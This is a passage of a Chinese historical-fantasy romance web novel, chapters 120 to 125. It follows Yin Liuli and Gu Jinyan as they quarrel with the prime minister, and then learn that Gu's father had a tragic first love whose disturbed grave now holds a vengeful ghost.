柱子后面,殷琉璃揪着顾瑾焱的衣领,把双唇凑过去悄声说,
“大师兄又窘迫起来,顾瑾焱,怎么办?”
她唇中温热的气息,带着南瓜子特有的浓香,扑在顾瑾焱的耳边。
顾瑾焱心神不由一荡,扭头冲她坏坏的笑了一下,
“不就是撮合他俩吗,好办,我有主意。”
第120章 两个小人在打架
殷琉璃本能把手往回抽,却被攥的更紧。
她抬起清澈的眼睛望着顾瑾焱,“喂,手……”
顾瑾焱一本正经的抬了抬,“在这儿呢。”
殷琉璃,“……”
谁跟你说这个!
她往厅堂里瞅了一眼,悄声道,
“有外人在,快放开!”
顾瑾焱傲娇的挑眉,
“凭什么!”
说着,那只温热的手,越发带着霸道的力度握住她。
虽然顾瑾焱不是第一次拉她的手,可殷琉璃心头还是涌上一抹微妙的欢喜,任凭他拉着,进了厅堂。
顾瑾焱俊美的脸上,浮现出一抹得逞的笑容。
他从来都是这么胆大心细不要脸。
手不让拉,就强拉。
人不让抱,瞅准时机就去抱。
至于那张柔软红润,充满诱惑的唇,他总有一天能亲到……
对自己喜欢的女人,他就是死缠烂打,也要让她喜欢上他!
“清棠见过世子爷。”
沈清棠忙起身行礼,“殷大小姐有礼。”
她目光落在两人紧握的手上,温柔的脸上闪过一抹羡慕。
顾瑾焱纨绔子弟,狂放不羁的形象,在京城贵族圈儿里无人不知。
那日在后花园,这个人人敬而远之的纨绔子,为了维护殷琉璃竟敢违逆母亲。
他堂而皇之与母亲作对,却也再次沦为了名门贵族,甚至皇族的笑柄。
可沈清棠却是另一种看法。
她很敬佩顾瑾焱,身为皇族子弟,竟敢不顾世俗规矩,想做什么就做什么。
心里更是对殷琉璃有着却说不出的羡慕。
一个女子,若能得到夫君这般的偏爱,便也不枉此生。
顾瑾焱客套的抬了抬手,
“沈大小姐有礼。”
“沈小姐,你身子好些了?”
殷琉璃也见了礼,笑嘻嘻的看着她和楚**,“你来找我大师兄吗?”
沈清棠双颊微红,点头轻轻的说,
“清棠专程前来,感谢恩人。”
殷琉璃一脸坦然的说,
“你可要好好感谢我大师兄呢!他为了救你,把你身上的邪毒全都吸进自己肚子里,搞得现在还半身麻痹,口不能言。”
楚**忙抬了抬手,示意她不要说。
若是旁人,肯定说几句“不必客气,举手之劳”之类的客套话。
可殷琉璃向来有什么说什么。
“清棠知道,若不是楚公子,我这条命当时就没了。”
沈清棠眸子一红,楚楚的望向楚**。
楚**却并没有回应她感激的目光,那双清冷的眼睛只看着殷琉璃,目光灼灼。
沈清棠心里一刺。
楚**看殷琉璃的眼神,让她心里涌上一抹难以形容的酸楚。
气氛忽然变得有些微妙。
顾瑾焱唇角勾笑,朗声道,
“沈大小姐难得出来,不如由本世子做东,大家把酒言欢如何?”
楚**刚想示意,就听见殷琉璃拍手笑道
“有酒喝?好呀!大师兄,顾瑾焱请我们喝酒,你说好不好?”
楚**极快的怔了一下,点了点头。
他本想小师妹一进来,这位沈小姐就会告辞呢,没想到顾瑾焱还邀请人家做客!
他实在不会应付女子,力不从心。
可看到殷琉璃满心欢喜,顿时便无法拒绝。
“沈大小姐,意下如何?”
顾瑾焱看向沈清棠,意味深长的勾唇。
“这……”
沈清棠抬眸看了眼外面,已经是傍晚时分,天色将黑未黑。
今日祖父事务缠身,顾不上她,她才借口去园子散心,偷偷溜出来见楚**。
如果回去晚了被发现,怕不是要被责备训斥。
她从小就被祖父寄予厚望,日常行动坐卧,礼仪规范,都是按照进宫选妃的要求,严格教养。
嫁给太子,入主东宫,日后登上皇后的宝座,就是她沈清棠来人世一趟的使命。
这些年来,沈清棠从未出过什么差错。
可她心里始终有种透不过气的感觉,仿佛她的一生早已被人规划好,成为别人希望的样子。
“沈小姐,留下来跟我们一起喝酒怎么样?”
殷琉璃明亮的眼睛里泛着光芒,笑嘻嘻的说,“我跟你讲我大师兄以前的事情,你听了一定笑个不停!”
沈清棠深深抿唇。
心里好像
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有两个小人在打架。
一个义正言辞,严厉斥责:沈清棠,你今日已经逾矩,这是一个大家闺秀应该做的事情吗?还不快快回去!
另一个却发出魔鬼一般的召唤:
沈清棠,楚**就在你的面前,你真的要走吗?这一回去,日后再想见他,可就难了。
你看顾瑾焱、殷琉璃,他们无拘无束,洒脱自由,难道你不想活成他们的样子吗?
……
两个小人吵着吵着,忽然打了起来。
沈清棠脑海中,顿时乱成一团。
她想!
她真的想挣脱出来,像顾瑾焱那样不被家族束缚,像殷琉璃那样,天真烂漫,无拘无束。
她更想跟楚**走近,甚至还渴望从他的眼睛里,也看到那种灼灼的目光。
“我……”
沈清棠张了张嘴,才发现自己的声音在发颤。
“小人启禀世子爷,”
她好容易鼓起所有勇气,却被急匆匆赶来的下人打断,
“宰相大人前来接沈小姐,已在外堂等候,驸马爷与宰相大人同行……”
沈清棠涨红的脸,血色唰的一下退去。
“父亲,他怎么也来了?”
顾瑾焱脸上闪过一抹讶异,摆了摆手,“知道了。”
说罢,他看向沈清棠,
“宰相大人亲自来接人,看来本世子也留不住沈小姐了。”
沈清棠心里一空,勉强笑了笑道,
“清棠多谢、多谢世子爷留宴,多谢殷大小姐盛情,望他日,还能有机会与诸位相聚。”
顾瑾焱客气的回礼。
“楚公子救命之恩,清棠永世不忘……清棠告辞。”
殷琉璃一脸遗憾的说,
“可惜了,你不能跟我们一起喝酒!”
沈清棠再次深深福礼,望向楚**,眸子里瞬间蒙上了一层雾气。
这一刻,她特别希望楚**,能像那日顾瑾焱不顾一切,宁愿与天下为敌,也要护着殷琉璃一般,将她护住。
楚**只是轻轻抬手,虚扶了她一把。
沈清棠转身的瞬间,差点儿掉下泪来。
祖父教导过无数次,要喜怒不形于色,她第一次没有做到。
第121章 大叔您哪位?
她落寞的眼神,莫名像一根鱼刺,在楚**心头轻刺了一下。
“呃……”
他清冷的眼睛追着沈清棠的背影,发出一声嘶哑的叫声。
“沈小姐!”
殷琉璃赶紧上前拦住她,“我大师兄叫你。”
沈清棠下意识的擦了下眼角,转身盈盈的望着他,
“楚公子……”
那张清隽中,带着一丝关切的脸,让沈清棠的心跳瞬间漏了半拍。
楚**附身,极快的在纸上写下什么,快步走到她的跟前,
“嗯……”
沈清棠接过来,竟是一张药方子。
楚**指了指她的身体,做了个喝药的动作。
“多谢楚公子。”
沈清棠竭力才压住心头的悸动。
殷琉璃在一旁看的心塞。
真搞不懂他们是怎么想的。
沈小姐明明对大师兄有意思,可又不明说。
大师兄表面上看着对她很客气冷淡,可人家要走,他又追上来送药方。
楚**脸上露出一抹浅浅的笑意,冲沈清棠抬了下手,示意送她出去。
沈清棠轻轻点头,眼睛里的期待明了灭,灭了又明。
……
“棠儿!”
外堂,宰相威严的脸上,在看到沈清棠的时候,又添了一抹紧绷。
沈清棠慢慢上前行礼,“棠儿见过祖父。”
“出去怎的不跟祖父说一声,让祖父好找。”
在外人面前,宰相不便斥责,只是淡淡的说,“身边连个可靠的人都不带,万一出了事情,可如何是好?”
沈清棠垂着头轻声道,“让祖父担忧,是棠儿的不是。”
“罢了罢了,与祖父回府。”
宰相脸上换上了一抹慈祥,摆摆手道,“以后再不许自己出来,知道吗?”
说罢,他故意看了跟在后面的楚**一眼,似笑非笑的说,
“棠儿胡闹,冒昧打扰楚先生,让楚先生见笑。
只是她一个女儿家,只身前来,楚先生也该着人去府里告诉一声,让我们做长辈的放心才是。”
楚**淡淡的看着他。
殷琉璃听着话里带刺,顿时不乐意了,
“沈小姐拜访我大师兄,宰相大人有什么不放心的?
我大师兄初到京城,他哪儿知道你宰相府的大门往哪个方向开!”
宰相语气沉沉的说,
“女佐使,老夫并没有其他意思。只是孤男寡女相处一室,让外人知道了,传些流言蜚语出去,可就不好了。
棠儿还小,不懂这些,令师兄难道也不懂这些吗?”
这番话,针对的意思更加明显。
殷琉璃不屑的嗤了一声,
“顾瑾焱的别苑,只嬷嬷、侍女就有十数人伺候在身边,外有家丁、马夫、厨子不尽其数,孤男寡女从何说起?
你家的小姐从小规矩森严,我大师兄就是个野人了?”
宰相脸色沉了沉,心里堵着一口气道,
“女佐使尚未出阁,又怎知为人祖父的心思?
老夫以后自会管教好棠儿,还望女佐使也管好自家师兄。
以后若有其他什么女子,受了令师兄的恩惠,前来拜谢,也好有个分寸才是。”
殷琉璃一声冷笑,毫不客气的回怼,
“原来你还记得,我大师兄对令孙女有救命之恩呀!
句句讥讽、针对,宰相大人这是对恩人该有的态度?”
宰相脸色一青,“你……”
“我什么我?”
殷琉璃声调提高了一度,气势汹汹的说,“你不问缘由,一来就句句针对我大师兄,气焰嚣张!”
宰相知道她不好惹,强行压下心头的怒火,咬牙道,
“老夫不与女佐使争辩,告辞。”
若非孙女不顾家规,私自溜出来与他见面,他也不想针对楚**。
都是过来人,难道他看不出来自己的孙女,对楚**的心思?
可他孙女是未来的太子妃,大昶朝未来的皇后,她肩上承担着整个沈氏家族的命运。
楚**是个什么?
不过是一无所有,两手空空的穷酸道士一个!
他和棠儿无论从身份地位,都有着天壤之别。
宰相岂能让自己一手培养起来的孙女,毁在这个人的身上?
所以他宁愿得罪殷琉璃,也要狠下心,把孙女心里不该有的念头,死死掐灭。
殷琉璃冷冷道,
“慢走不送!”
她气的要命。
当初要不是大师兄心软,她才不会救宰相这个白眼狼!
楚**抬手拍了拍她的肩膀,似乎有话要说。
殷琉璃气鼓鼓的脸色,软了下来,
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“大师兄,他们京城的人都是这副德性,高高在上,自以为是,你不要在意。”
楚**唇边勾起一抹无奈的笑意,抬了抬下巴,示意她还有人在。
不管宰相如何讥讽针对,他都不会往心里去。
这个世上,除了小师妹,尘世间再无一人能扰乱他的心弦。
“呀,这位大叔是谁?”
殷琉璃这才发现旁边还站着一个中年男人,她不认识。
顾瑾焱送宰相祖孙出去,不在身边。
那人身姿挺拔,身材颀长,一身清淡颜色的华服,面容沉稳俊朗,文质彬彬。
他眉宇间缠着一抹书卷气息,周身有一种清尘脱俗的气质,显得格外不同。
她打量那人,那人也在打量着她,
“你就是圣上破格提拔的那位,大理寺女佐使?”
殷琉璃点点头,
“是我,大叔您哪位?”
那人脸上露出一抹淡淡的笑容,
“早就听闻我朝出了一位女佐使,闻名不如见面,失敬失敬。”
“大叔客气,您是来找顾瑾焱的?”
殷琉璃见他说话客气,便也客气的说,“刚才只顾吵架,竟不知还有外客,您是来找顾瑾焱的?
请进内堂用茶,等他回来……”
那人笑呵呵的说,
“不要紧,在这里等他便是。恕在下冒昧,宰相大人身份贵重,女佐使竟不怕他?”
殷琉璃挑眉道,
“是他不讲理在先,我为什么要怕他?他句句针对我大师兄,我若不替大师兄出头,以后是个人都敢欺负我们了!”
那人扑哧一声笑了出来,叹了气说,
“在下很久没有见过这般真性情的人了,难得,实在难得……”
殷琉璃歪了歪头,
“大叔您过奖了,我只是不想人家欺负我大师兄而已。对了,您到底是谁呀?”
“父亲!”
话音未落,顾瑾焱的声音钻入耳朵。
“父亲?”
殷琉璃目瞪口呆的看着他,“你、你是顾瑾焱的爹爹?”
“父亲好容易来我这里一趟,今儿怎么倒是跟宰相一起来了?
请父亲内堂歇息,尝尝儿臣别苑的好茶。”
顾瑾焱快步走到那人身边,满身不羁的气息收敛起来,脸上多了一丝恭敬之意。
第122章 祭品
顾方涵含笑道,
“圣上与内阁议了一整天的事,颁诏下来,交给翰林院誊录,忙完宰相大人便与我同回。
没想到一出宫,就听见他家小姐去了你的别苑,为父只好陪着一起。”
他气度温文尔雅,语气不紧不慢,温和的声调,也叫人听的格外舒服。
殷琉璃眨了眨眼。
他是顾瑾焱的父亲,那就是成懿公主的驸马了?
跟倨傲跋扈成懿相比,顾瑾焱的爹爹招人喜欢多了!
顾瑾焱在他面前也一反常态,语气显得格外规矩、恭敬,
“父亲辛苦。好容易来了,今日就在儿臣这里用膳如何?”
“不用了,你母亲怕冷清,不喜欢一个人用膳。”
顾方涵意味深长的看了殷琉璃一眼,和煦的笑道,“焱儿府上有客人,怎的不替为父介绍一下?”
“是儿臣疏忽。”
顾瑾焱俊美的脸上露出一抹笑容,伸手把殷琉璃拉了过来,
“父亲,她就是殷侯府大小姐,殷琉璃,那位是她同门师兄,楚**。
前日沈大小姐被掳走,不知所踪,就是琉璃和楚兄救回来的。”
“大叔,您就是顾瑾焱的父亲,怎么不早说呀!”
殷琉璃上前见礼,大大方方的说,“刚才只顾着跟宰相吵架,都没瞧见您。”
话音未落,殷梅就在后面悄悄捅她的腰眼儿。
殷琉璃回头问道,“怎么了?”
殷梅满脸黑线,又是使眼色,又是捏着嗓子小声提醒,
“主子,吵架的事儿咱就别提了!”
“怎么了?我刚才就是在跟宰相吵架呀,还吵赢他了呢!”
殷琉璃一脸不解。
殷梅吓得赶紧低头,暗戳戳的给她摆手。
顾方涵出身书香门第,以诗礼传家,一门三代都是以状元头衔,被圣上选拔进了翰林院。
他自己更是做了翰林院内阁首辅,娶公主当驸马。
身份不可为不矜贵!
主子您第一次见未来公公,在人家面前提吵架的事儿,合适吗?
“无妨无妨,我倒是喜欢她这率真的性子!”
顾方涵朗声大笑,拍了拍顾瑾焱的肩膀道,“焱儿这些年被他母亲惯坏了,倒是该有个人,好好拘一下他的性子。
琉璃姑娘,焱儿以后若是惹你生气,尽管开口,我替你教训他!”
殷琉璃笑嘻嘻的说,
“顾瑾焱才不敢惹我呢!”
顾瑾焱俏皮的冲她皱了皱鼻子。
还别说,他真不敢,更舍不得。
顾方涵还是第一次看到自家儿子,对一个姑娘家这么上心,不由会心一笑,
“好了,天色不晚,你母亲在府里该等急了,为父这就回府。
焱儿,你替为父,好好招待琉璃姑娘和这位楚公子。”
“驸马也知道都黑了,你不回府,跑来这里做什么?”
外面忽然传来成懿公主不悦的声音。
众人齐刷刷望了过去。
成懿公主坐着一顶抬轿,一张脸上带着隐隐的怒气,气势汹汹到了众人跟前。
“阿懿,你怎么来了?”
顾方涵款步上前。
成懿公主居高临下的望着他,冷笑道,
“我还问你呢,这几日都是天黑透了才回府,也不知在外面做了些什么!
怎的,今日没出城去,做些要紧的事情?”
顾方涵眸子里忽然闪过一抹什么,平静的摇了摇头,
“好好的,我出城做什么?”
“你说出城做什么?”
成懿公主脸色一凛,讥讽的说,
“你打量我不知道?不是今天就是明天,也差不多到那日子了,你还不去?”
顾方涵皱了皱眉,语气平和的说,
“阿懿,我答应过你,就不会再去……”
成懿冷哼一声,
“你不会再去?笑话,那这些东西,是谁给她烧的!”
说着,她将手里的一个包袱扔到了顾方涵的脚下,满脸愠怒,
“顾方涵,你说过这辈子都不会再骗我,这你怎么解释!”
包袱甩在地上,散落出许多点心、果子,中间夹杂着许多灰烬,和些未烧干净的纸钱。
众人听的一头雾水,面面相觑。
殷琉璃微微眯了眯眸子,在那包东西上,察觉出一丝不寻常的气息。
顾瑾焱满脸不解,急忙
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上前道,
“母亲,这是何意?”
成懿脸色铁青,一双眼睛因愤怒变得通红,
“你问我,还不如倒要问问你父亲,他是何意才对!”
“阿懿,你去了……”
顾方涵脸色不由一沉。
“我当然去了!”
成懿抬了抬下巴,傲慢的冷笑,
“我不去,怎么能看到驸马这些年来,对人家的思念之情?
我不但去,还挖坟掘墓,好好看看她到底有什么本事,这么多年了,还能把你的魂儿勾走!”
“阿懿!”
顾方涵眼中划过一抹紧张,声线突然冰冷,“别告诉我你真的动了她的坟!”
“父亲,到底发生了什么事情?谁的坟?”
顾瑾焱从未见过父母如此剧烈的争吵,心头不觉一紧。
顾方涵胸口微微起伏,抬手将他推开,
“焱儿,这是我与你母亲的私事,你不要插手。”
成懿铁青着脸,狠狠咬牙,
“我就是动了,我就是把她挖出来鞭尸,你能拿我如何!”
顾方涵一双温和的眼睛带上了一抹寒意,冷冷道,
“阿懿,你太过分了!”
说罢,他狠狠甩了下衣袖,阔步走了出去。
顾瑾焱赶紧追了上去,
“父亲!父亲去哪儿?”
顾方涵脸色阴沉,跟他说了几句什么,扬长而去。
顾瑾焱只好赶紧回来劝说母亲,可未等他开口,成懿公主通红的眼睛追着顾方涵的背影,愤愤大叫,
“驸马!你要去哪儿?你给我回来说清楚!来人,还不去追!”
轿夫连忙抬着她去追顾方涵,留下一地鸡毛。
众人你看我我看你,谁都没有说话。
“琉璃,我跟去看看。”
顾瑾焱脸色微沉,皱眉道,
“父亲性子宽厚温和,一直跟母亲恩爱有加,母亲耍小性子也不是第一次了,我还是第一次见他这么生气。”
殷琉璃一把拉住他,淡淡的说,
“他们的事,跟这包祭品有关,顾瑾焱,你最好问清楚缘由,不然我怕你父亲会惹上**烦。”
顾瑾焱心头一紧。
第123章 断香
“琉璃,你看到什么?”
殷琉璃抬了抬下巴,
“这包东西,是给亡人的。你看里面那半支尚未燃烧的香火……”
顾瑾焱这才发现,三只半截的香火,夹杂在点心和灰烬中。
他抬头看着殷琉璃,心头莫名惊颤,
“这……是什么意思?”
“活人祭奠亡人,最忌断香。瓜果点心这些东西摆上去,就是给亡人享用的。
就像我们,正好好的吃着饭,叫人把桌子掀了,谁会乐意?
所以三支香火一点上去,不管什么原因都不能半路断了,否则会招来亡魂的怨恨。”
顾瑾焱顿时吸了一口冷气,
“你的意思是,我母亲惊扰亡魂?”
殷琉璃冷哼了一声,
“这包袱里的东西,全都沾染了怨气,若这些香火是她拔的,何止惊扰亡魂?
希望她刚才说的挖坟掘墓,是气话,不然……”
“啪”
顾瑾焱一把抓住了她的手腕,语气凝重的问,
“不然会怎样?”
殷琉璃抬头看了他一眼,
“挖坟掘墓,亡魂不得安息,好比我打你一顿,要你不得好死。
你会怎样,亡魂就会怎样。”
顾瑾焱唇角颤了颤,“母亲她……”
殷琉璃淡淡的说,
“看起来这个亡故之人,与你父亲有着千丝万缕的联系。
事情因你父亲而起,亡魂发泄怨气,必然不会只找你母亲一个。”
顾瑾焱,你最好问清楚事情的缘由,还能处理。”
顾瑾焱深深皱眉,“琉璃,你等我回来。”
殷琉璃点了点头,
她叫顾瑾焱来别苑见面,原本想跟他说殷玉珠和成懿的事情。
她怀疑殷玉珠故意接近成懿公主,且在成懿身边,安插了什么人。
没想到成懿惹了亡魂。
包袱里的东西,沾染着浓浓的怨气。
她不关心成懿的死活,但顾瑾焱的父亲若是无辜躺枪的话,她不能不管。
……
顾瑾焱急匆匆走了。
“呃……”
楚**拍了拍殷琉璃的胳膊,给了她一个安慰的眼神。
殷琉璃轻轻叹气,
“大师兄,顾瑾焱的母亲是长公主,从小受尽万千宠爱,性子骄纵跋扈。
只是我没想到,她胆大到连亡人都不放过。”
楚**轻轻摇头,眼中闪过一抹担忧。
他原本以为小师妹嫁给顾瑾焱,一生有享不尽的荣华富贵。
可看到那位成懿公主蛮横无理的样子,他的心就紧紧的揪了起来。
有这样一个强势的婆母,小师妹以后还能有好日子过吗?
顾瑾焱现在是对她十分宠爱,为她不惜顶撞公主母亲。
可日子久了,或小师妹年老色衰之时,顾瑾焱还能否愿意为她,冒天下之大不韪?
楚**心头刺痛。
他只恨自己无能。
若是有让小师妹平安渡过劫难的法子,他恨不得现在就带小师妹回玄清观!
“大师兄,你是在担心我吗?”
殷琉璃从他的眼中,看到深深的忧虑,心头不由划过一道暖意。
她歪头看了看他,笑了起来,
“我又不怕那个成懿公主,她再凶,也不能拿我怎样。
她要是敢欺负我,我一道灵符就能把她收拾,你不要给你担心我啦!”
楚**点点头,唇边勾起一抹苦笑。
小师妹天真烂漫,又是一个直爽的性子。
在玄清观十二年来,有师父和他们五个师兄护着,她从未见过人心险恶。
真要让她见识到的那天,不知道该有多难受。
……
不久,顾瑾焱带着顾方涵回了别苑。
顾方涵脸色憔悴,却依然保持着温文尔雅的气度,苦笑着说,
“家事烦扰,让两位小友见笑了。”
殷琉璃摇了摇头,关心的问,
“顾叔,您和公主之间到底发生了什么事情,能告诉琉璃吗?”
顾方涵眼中闪过一抹无奈,摆摆手道,
“这是我和焱儿母亲之间的事情,我会想办法解决……”
顾瑾焱皱眉道,
“父亲与母亲若是寻常争吵,儿臣和琉璃不会插手。
可这事关乎到你们的安危,您不能不说!”
父亲饱读诗书,一向不信鬼神之说,所以他路上没跟父亲细说亡魂的事儿。
好容
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易把父亲劝回别苑,再不说不行了。
顾方涵脸上闪过一抹不解,
“你母亲的性子,你也不是不知道,哪里就关乎到安危?
难不成她还要去圣上跟前,告我一状去?”
“顾叔能否给我一个字?”
殷琉璃清澈的眸子看着他,淡淡的说,“随便什么字,琉璃就能推测出大概。”
顾方涵讶异道,
“你会测字之术?罢了罢了,我从来不信这个……”
殷琉璃态度坚定,
“信不信,等我推测出再说。”
顾瑾焱连忙乞求,
“父亲,琉璃并非你以为的那种装神弄鬼之人!
她精通符咒、推算,宰相的孙女失踪,就是她以卦相,推断出方位,才把人救了回来。”
顾方涵脸上闪过一抹惊讶,默了默才道,
“那就,一个情字。”
顾瑾焱之前说过,宰相的孙女是殷琉璃救回来的,但他没说是用玄术救的。
“字……”
殷琉璃沉吟片刻,忽然抬眸说,
“一心入土,阴阳相隔,阳人断情,阴人含恨。
顾叔曾经欠了一个人很大的情分,那人,应该是个女子……”
话音未落,顾方涵身子微微一颤抖。
殷琉璃缓缓道,
“此人为横死,含恨而终,虽非顾叔所害,却也跟顾叔脱不开关系。
如果琉璃没猜错的话,她时常会出现在顾叔的梦境之中,我说的对吗?”
“琉璃姑娘,你、你……”
顾方涵温和的眸子里,瞬间充满震惊。
殷琉璃不理他脸上的震惊,冷声道,
“顾叔,她的亡魂本就含恨,怨气不散,不得超生。
如今被成懿公主这么一闹,便是怨气冲天。
一旦回来,就是索命的厉鬼。”
顾方涵惊呆了。
好半晌,他缓缓转动眼球,一双眼睛不知何时已经爬满了血丝。
顾瑾焱轻声道,“父亲,到底是怎么回事?”
“琉璃,你说的那个女子……”
顾方涵眼中忽然落下两行清泪,声线哽咽起来,
“当年,是我辜负了她,她对我有怨气,是应该的。”
第124章 她就在你身后……
殷琉璃忽然问,
“她是顾叔的红颜知己吗?”
顾方涵点了点头,“是,她是我……”
殷琉璃向他身后淡淡瞥了一眼,
“她左眉下,是否有一颗红痣?”
顾方涵怔了一下,“琉璃,你如何知道?”
殷琉璃缓缓抬起手,指向她的身后,
“她就在外面,远远的看着你呢。”
空气瞬间安静。
顾方涵只觉头皮发麻,扭头向后看去,
“琉璃姑娘,你、你莫要说笑!她故去十七年了……”
殷琉璃摇了摇头,
“顾叔,我没有说笑。我问你,她身量不甚高,略瘦了一些,鹅蛋脸、柳烟眉,眉头总似在微微蹙着……我说的对吗?”
“这……”
顾方涵深深吸了一口气,不可思议的看着殷琉璃。
顾瑾焱噌的一下站了起来,四下环顾道,
“她在哪儿?她要对我父亲怎样?”
殷琉璃语气淡淡的说,
“不知道。她刚才只是远远的现了一下。”
顾方涵只觉得一股寒气,从背后窜到了后脖子,不寒而栗的感觉电流般传遍全身。
“琉璃,小蓉,她……她还在吗?”
他起身向后望去,暗暗咬牙道,“我、我想见见她。”
这些年,小蓉成了他心里,被血肉包裹着的一根刺。
平日不觉得什么,一旦触及,那根刺就能让他痛到骨子里。
殷琉璃摇了摇头,
“她走了。我在这里,阴魂轻易不敢现身。”
那女子周身怨气冲天,盯着顾方涵的一双眼睛,充满了怨毒之色。
若真让他见了,说不定她的手就先掐到他的脖子上去。
“父亲,当年到底发生了什么?”
顾瑾焱实在绷不住追问,“你说出个缘由,琉璃会为你想办法。”
顾方涵眼眶变得通红,幽幽的看着远处的幽暗,轻声道,
“她叫小蓉,孙蓉,当年,我们是青梅竹马的一对儿……”
当年,顾父与孙父同在朝廷为官,两人虽一文一武,却性情相投,交往甚好。
两家的府邸也离的不远,便时常走动。
顾方涵从小跟孙蓉玩到大,是货真价实的青梅竹马。
孙蓉性子温顺懂事,从小便是一副美人坯子。
她时常陪着他读书、赏花,在庭院中练武强身,跟在顾方涵屁股后面,一口一个“方涵哥哥”叫他。
顾方涵也格外照顾孙蓉,不管做什么都喜欢带着她玩。
等年龄大些了,两人渐渐懂了人事,也曾偷偷海誓山盟。
顾方涵亲口说以后要娶她为妻,孙蓉羞答答的点头,满眼期盼。
双方长辈看在眼里,虽未给两人定下婚约,可早就在心里默认以后要做亲家。
只等着顾方涵考取功名,再商量两个孩子的婚事。
十七岁那年,顾方涵高中状元。
圣上在宫中举行传胪大典,诏新科状元、探花、榜眼等人进宫,拜天子门生。
大典后,宫中举办的琼林宴中,顾方涵遇到了成懿公主。
成懿看他的眼神,让他觉得有些不安。
顾方涵刻意躲避这位高高在上的公主,对她三番五次的举杯,也只是敷衍。
谁知回府后不久,圣上便颁下一条旨意,为他和成懿公主赐婚。
一时间,整个顾府都沸腾了。
做了圣上的乘龙快婿,娶的又是圣上膝下最受宠的长公主,顾方涵日后前途不可限量。
顾家,也将因为他,摇身一变成了皇亲国戚。
顾方涵记得父亲当时接过圣旨,激动的双手都在颤抖。
可他根本不想娶那位公主!
他答应过孙蓉,琼林宴后,他就让父亲母亲遣媒人去孙府提亲,娶她过门。
可皇命难违,他若抗旨,别说寒窗苦读考取的状元头衔没了,就连整个顾府都要跟着他遭殃。
他没有选择,也做不到因一己之私,将顾家上下一百多口人之于不顾!
顾方涵将自己关在房中三天三夜,才颤抖着写下一封书信,与孙蓉断了关系。
孙蓉接到信后,哭着跑到顾府门前想要见他。
顾父命下人将她拦在府外,任凭她怎么哀求,都不肯让她见顾方涵一面。
顾方涵听见消息,从房中奔了出来,却被人拦在大门里面。
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两人之间,被一道沉重的朱红色大门,生生分开。
孙蓉趴在门上,哭的撕心裂肺,
“方涵哥哥,你亲口说过考中状元后,要迎娶我进门的,你忘了吗!”
“没有,我没有忘!小蓉,是我对不起你,方涵哥哥……不能娶你了!”
顾方涵心如刀绞,撕心裂肺的对她喊道,
“小蓉,这辈子,是我欠你的……你忘了我吧,忘了我吧!”
孙蓉哭的几乎晕厥过去,
“我不忘!我不忘!小蓉这辈子都不会忘了方涵哥哥!
方涵哥哥,你真的不要我了吗?我们明明说好……你、你为什么要这样对我!”
顾方涵挣脱下人,扒着门缝去看孙蓉,望见那张满是泪水,充满悲伤的脸,他哽咽道几乎说不出话,
“小蓉,别这样……方涵哥哥以后再不能照顾你了,你要好好保重自己。
就当咱俩以前做了场梦,梦醒了,就什么都不是!你以后、以后找个好人家嫁了,成婚生子,一定会过的比跟方涵哥哥在一起,还要好。”
孙蓉哭倒在地上,
“这世上,再没有人会像方涵哥哥那般,对小蓉好了!
小蓉也不会再喜欢其他男子,小蓉一辈子都把方涵哥哥,记在心里……”
天上忽然下起了瓢泼大雨。
顾方涵记得,那时是初春,天气还有些冷。
孙家得到消息赶来,死拉硬拽,将孙蓉从大门前拽开。
她疯了似的从那些人手中挣脱出来,跌跌撞撞的向他跑去,
“方涵哥哥,不要丢下我!不要……不要丢下小蓉!
我们说好的这辈子一起白头到老的,你为什么不守承诺?
你为什么对我这么狠心……”
“咔嚓……”
天空划过一道闪电,闷雷声滚滚而来。
孙府的人涌上前拖住她的胳膊,不由分说将她从门前拽开。
“小蓉!”
顾方涵从门缝里,眼睁睁看着孙蓉被人拖走,他无能为力。
大雨中,孙蓉姣好的脸被雨水冲刷,她最珍爱的一头乌发,散落胸前,凌乱的贴在脸上,衣衫上沾满了泥水,狼狈不堪……
第125章 那我算什么!
那双通红的眼睛里,充满了凄凉和绝望,最后深深的望了他一眼,便被家人带走了。
顾方涵一拳捶在门上,仰天长啸,
“小蓉……”
顾方涵说完,整个厅堂陷入一片死寂。
一时间,众人脸色各异,各怀心事。
顾瑾焱俊美的脸上,露出从未有过的复杂神色。
他万万没想到,温文尔雅的父亲年轻时,也有过这样一段刻骨铭心的虐缘。
殷琉璃脸色平淡。
她不太理解,孙蓉为什么要把自己搞得那么狼狈。
不能成亲就不能成亲,顾叔身不由己,她又无能为力。
他俩没有缘分,那就再找个有缘分的嫁了,不就行了?
体面的分开,就算自己一个人逍遥的过日子,也很不错呀。
反正她不会哭哭啼啼,跑上门去要一个误解的答案。
她和顾瑾焱有婚约,若顾瑾焱不得不娶别人家的女儿,她扭头就走。
楚**心里五味杂陈。
他如今的处境,不就像孙蓉?
一样眼睁睁看着自己爱到骨子里的小师妹,就要跟顾瑾焱成亲了。
但他不是孙容,不管小师妹如何选择,他都会默默的守护在小师妹的身边。
“小蓉好惨……”
殷梅听的热泪盈眶,心里一个劲儿的替孙蓉惋惜。
……
“我到现在,还记得小蓉在大雨中,望着我的那双眼睛。”
顾方涵缓缓开口。
那是他最后一次见孙蓉。
他跟成懿的婚期,就定在半年之后。
父亲怕他惹事,将他关在府邸中关了一个多月。
这一个月里,顾方涵想尽方法,从下人口中零星打听到一些小蓉的消息。
孙蓉回府后大病了一场。
病的卧床不起,形销骨立。
后来不知怎的,京城中流传出许多流言蜚语,她在人口中被说成倒贴上门,高攀不上就大闹顾府的恨嫁女。
无辜的孙蓉,成了京城人茶余饭后的谈资。
“人家顾家公子如今是状元,她一个从五品官家的小姐,还想高攀人家?”
“那可不!顾家公子做了圣上的乘龙快婿,她配得上人家嘛!”
“我听说,他俩根本没订亲,是那个孙家小姐自己送上门的……”
“顾家那位公子,原本就没看上她,是她看人家考中状元,哭着喊着往上贴呢……”
“一个女儿家,还要不要脸了!这样的人,以后谁家敢娶?”
……
比这难听的话,还有不知道多少。
孙蓉,乃至整个孙家,都沦为了京城的笑柄。
顾方涵心急如焚。
他给孙蓉写了好几封宽心安慰的信,用银子打点粗使的婆子,让她把信带出去。
可那些信无一不石沉大海。
顾方涵再听到孙蓉的消息时,她已经**。
没过多久,孙父在朝堂上说错了话,惹得圣上震怒,被圣上罢了官职。
孙家再也顶不住压力,将孙蓉葬在城外,卖了京城的房子田产,举家回乡。
……
“**?”
一片死寂中,顾瑾焱忍不住追问,“父亲,你后来没有再去找她?”
顾方涵苦笑着摇了摇头,
“小蓉一病不起时,我就想尽各种法子,去孙家看她。
可那些日子,你祖父把我身边的人换了个遍,盯着我的一举一动,我用尽法子也不能脱身。”
殷琉璃皱眉道,
